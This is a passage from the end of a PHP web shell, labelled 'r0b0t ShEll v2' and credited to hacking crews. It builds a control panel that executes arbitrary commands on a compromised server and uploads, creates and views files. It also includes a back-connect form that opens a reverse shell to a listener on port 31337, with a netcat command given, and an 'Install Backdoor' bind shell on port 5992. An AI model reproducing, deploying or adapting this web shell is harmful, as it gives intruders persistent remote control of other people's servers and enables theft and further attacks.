7629 foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
7630
7631 natsort($images);
7632
7633 $k = array_keys($images);
7634
7635 echo "<center>";
7636
7637 foreach ($k as $u) {echo $u.":<img src=\"".$surl."x=img&img=".$u."\" border=\"1\"><br>";}
7638
7639 echo "</center>";
7640
7641}
7642
7643exit;
7644
7645}
7646
7647if ($x == "about") {
7648
7649 echo " <br />You can concat me at <a href=\"http://xr0b0tx.com\">xr0b0tx.com</a> Or <a href=\"http://mc-crew.org\">mc-crew.org</a> ";
7650
7651}
7652
7653if ($x == "backconnect") {
7654
7655 $ip = $_SERVER["REMOTE_ADDR"];
7656
7657 $msg = $_POST['backcconnmsg'];
7658
7659 $emsg = $_POST['backcconnmsge'];
7660
7661 echo("<center><b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text name=backconnectport size=15 value=31337> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>Click 'Connect' only after you open port for it first. Once open, use NetCat, and run '<b>nc -l -n -v -p 31337</b>'<br><br></center>");
7662
7663 echo("$msg");
7664
7665 echo("$emsg");
7666
7667}
7668
7669if ($x == "shbd"){
7670
7671 $msg = $_POST['backcconnmsg'];
7672
7673 $emsg = $_POST['backcconnmsge'];
7674
7675 echo("<center><b>Bind Shell Backdoor:</b><br><br><form name=form method=POST>
7676
7677 Bind Port: <input type='text' name='backconnectport' value='5992'>
7678
7679 <input type='hidden' name='use' value='shbd'>
7680
7681 <input type='submit' value='Install Backdoor'></form>");
7682
7683 echo("$msg");
7684
7685 echo("$emsg");
7686
7687 echo("</center>");
7688
7689}
7690
7691echo "</td></tr></table>\n";
7692
7693?>
7694
7695<div class=barheader2><b>.: COMMANDS PANEL :.</b></div>
7696
7697<table class=mainpanel>
7698
7699<?
7700
7701if (!$safemode) {
7702
7703?>
7704
7705<tr><td align=right>Command:</td>
7706
7707<td><form method="POST">
7708
7709 <input type=hidden name=x value="cmd">
7710
7711 <input type=hidden name="d" value="<? echo $dispd; ?>">
7712
7713 <input type="text" name="cmd" size="50" value="<? echo htmlspecialchars($cmd); ?>">
7714
7715 <input type=hidden name="cmd_txt" value="1"> - <input type=submit name=submit value="Execute">
7716
7717 </form>
7718
7719</td></tr>
7720
7721<tr><td align=right>Quick Commands:</td>
7722
7723<td><form method="POST">
7724
7725 <input type=hidden name=x value="cmd">
7726
7727 <input type=hidden name="d" value="<? echo $dispd; ?>">
7728
7729 <input type=hidden name="cmd_txt" value="1">
7730
7731 <select name="cmd">
7732
7733 <?
7734
7735 foreach ($cmdaliases as $als) {
7736
7737 echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
7738
7739 }
7740
7741 foreach ($cmdaliases2 as $als) {
7742
7743 echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
7744
7745 }
7746
7747 ?>
7748
7749 </select> -
7750
7751 <input type=submit name=submit value="Execute">
7752
7753 </form>
7754
7755</td></tr>
7756
7757<?
7758
7759}
7760
7761?>
7762
7763<tr><td align=right>Kernel Info:</td>
7764
7765<td><form method="post" action="http://google.com/search">
7766
7767 <input type="hidden" name="client" value="firefox-a">
7768
7769 <input type="hidden" name="rls" value="org.mozilla:en-US:official">
7770
7771 <input type="hidden" name="hl" value="en">
7772
7773 <input type="hidden" name="hs" value="b7p">
7774
7775 <input name="q" type="text" id="q" size="80" value="<? echo wordwrap(php_uname()); ?>"> -
7776
7777 <input type=submit name="btnG" VALUE="Search">
7778
7779 </form>
7780
7781</td></tr>
7782
7783<tr><td align=right>Upload:</td>
7784
7785<td><form method="POST" enctype="multipart/form-data">
7786
7787 <input type=hidden name=x value="upload">
7788
7789 <input type=hidden name="miniform" value="1">
7790
7791 <input type="file" name="uploadfile"> - <input type=submit name=submit value="Upload"> <? echo $wdt; ?>
7792
7793 </form>
7794
7795</td></tr>
7796
7797<tr><td align=right>Search:</td>
7798
7799<td><form method="POST"><input type=hidden name=x value="search"><input type=hidden name="d" value="<? echo $dispd; ?>">
7800
7801 <input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> - regexp
7802
7803 <input type=submit name=submit value="Search">
7804
7805 </form>
7806
7807 </td></tr>
7808
7809<tr><td align=right>Make File:</td>
7810
7811<td><form method="POST"><input type=hidden name=x value="mkfile"><input type=hidden name="d" value="<? echo $dispd; ?>"><input type=hidden name="ft" value="edit">
7812
7813 <input type="text" name="mkfile" size="70" value="<? echo $dispd; ?>"> - <input type=submit value="Create"> <? echo $wdt; ?>
7814
7815 </form></td></tr>
7816
7817<tr><td align=right>View File:</td>
7818
7819<td><form method="POST"><input type=hidden name=x value="gofile"><input type=hidden name="d" value="<? echo $dispd; ?>">
7820
7821 <input type="text" name="f" size="70" value="<? echo $dispd; ?>"> - <input type=submit value="View">
7822
7823 </form></td></tr>
7824
7825</table>
7826
7827<div class=barheader2 colspan=2><font color=green>r0b0t ShEll v2 | Legend-H.ORG | IndonesianCoder Team | Malang Cyber Crew</font></div>
7828
7829</body></html>